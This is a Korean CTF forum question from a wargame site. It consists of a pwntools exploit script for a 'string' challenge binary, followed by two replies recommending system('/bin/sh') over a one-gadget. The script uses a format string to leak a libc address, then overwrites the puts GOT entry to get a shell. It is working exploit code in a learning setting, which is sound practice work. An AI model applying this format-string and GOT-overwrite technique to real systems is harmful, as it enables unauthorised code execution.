.
#!/usr/bin/env python3

from pwn import *
import re

context.terminal = ['tmux', "splitw"]
# context.log_level = "debug"
e = ELF("./string")

HOST = "127.0.0.1"
PORT = 12345

#HOST = "host1.dreamhack.games"
#PORT = 23936

conn = process([e.path, e.path], env={"LD_PRELOAD":"./libc.so.6"})
#conn = remote(HOST, PORT)

fms = lambda value,offset: b"%"+bytes(str(value), encoding="utf8")+b"c"+b"%"+bytes(str(offset), encoding="utf8")+b"$hn"

libc_offset = 0x18637
one_gadget_offset = 0x3a812

conn.sendlineafter("> ", "1\n%71$p")
conn.sendlineafter("> ", "2")

#conn.recv() # only use on remote
libc_start_main = int(re.search(b"0[xX][0-9a-fA-F]+", conn.recv(timeout=0.5)).group(), 16)
#libc_start_main = int([conn.recv() for v0 in range(2)][1][:10], 16)

libc_addr = libc_start_main - libc_offset
one_gadget = libc_addr + one_gadget_offset
print(hex(libc_addr))
print(hex(one_gadget))
payload = b""
payload += p32(e.got["puts"]+2)
payload += p32(e.got["puts"]+0)
payload += fms(int((hex(one_gadget)[2:])[:4], 16)-8, 5)
payload += fms(int((hex(one_gadget)[2:])[:4], 16)-int((hex(one_gadget)[2:])[4:],16), 6)
conn.sendline("1")
conn.sendlineafter("Input: ", payload)
conn.sendlineafter(b"> ", "2")

gdb.attach(conn)
conn.interactive()

#pwnable
작성자 정보
답변 2
avatar
qwerty
CTF First Place

one gadget은 레지스터의 상태에 따라 안되는 경우도 매우 많습니다. 해당 레지스터의 조건을 맞추고 onegadget하거나 system("/bin/sh")를 호출해야 하는데, 후자가 조금 더 편할 것 같습니다.

2021.05.08. 16:27
avatar
Sechack
CTF First Place

원가젯 말고 system("/bin/sh")해보세요. 화이팅!!

2021.05.08. 18:29
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기